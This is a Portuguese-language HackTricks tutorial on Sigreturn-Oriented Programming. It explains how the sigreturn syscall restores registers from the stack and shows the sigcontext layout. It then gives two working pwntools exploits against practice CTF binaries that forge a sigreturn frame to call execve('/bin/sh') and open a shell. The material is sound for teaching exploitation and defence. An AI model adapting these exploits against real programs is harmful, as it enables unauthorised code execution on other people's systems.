SROP - Sigreturn-Oriented Programming

Aprenda hacking na AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Informações Básicas

Sigreturn é uma syscall especial usada principalmente para limpar após a conclusão da execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que alguma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal com um manipulador de sinal, uma função especial projetada para lidar com sinais.

Após o manipulador de sinal terminar, o programa precisa retomar seu estado anterior como se nada tivesse acontecido. É aqui que o sigreturn entra em ação. Ele ajuda o programa a retornar do manipulador de sinal e restaura o estado do programa limpando o quadro da pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usada pelo manipulador de sinal.

A parte interessante é como o sigreturn restaura o estado do programa: ele faz isso armazenando todos os valores dos registradores da CPU na pilha. Quando o sinal não está mais bloqueado, sigreturn retira esses valores da pilha, efetivamente redefinindo os registradores da CPU para seu estado antes de o sinal ser tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.

Chamar a syscall sigreturn de uma cadeia ROP e adicionar os valores do registro que gostaríamos que ele carregasse na pilha é possível controlar todos os valores dos registradores e, portanto, chamar por exemplo a syscall execve com /bin/sh.

Observe como isso seria um tipo de Ret2syscall que facilita muito o controle de parâmetros para chamar outros Ret2syscalls:

pageRet2syscall

Se você estiver curioso, esta é a estrutura sigcontext armazenada na pilha para posteriormente recuperar os valores (diagrama de aqui):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Para uma melhor explicação, confira também:

Exemplo

Você pode encontrar um exemplo aqui onde a chamada para signeturn é construída via ROP (colocando em rxa o valor 0xf), embora este seja o exploit final a partir daí:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Verifique também o exploit a partir daqui onde o binário já estava chamando sigreturn e, portanto, não é necessário construir isso com um ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Outros Exemplos e Referências

Last updated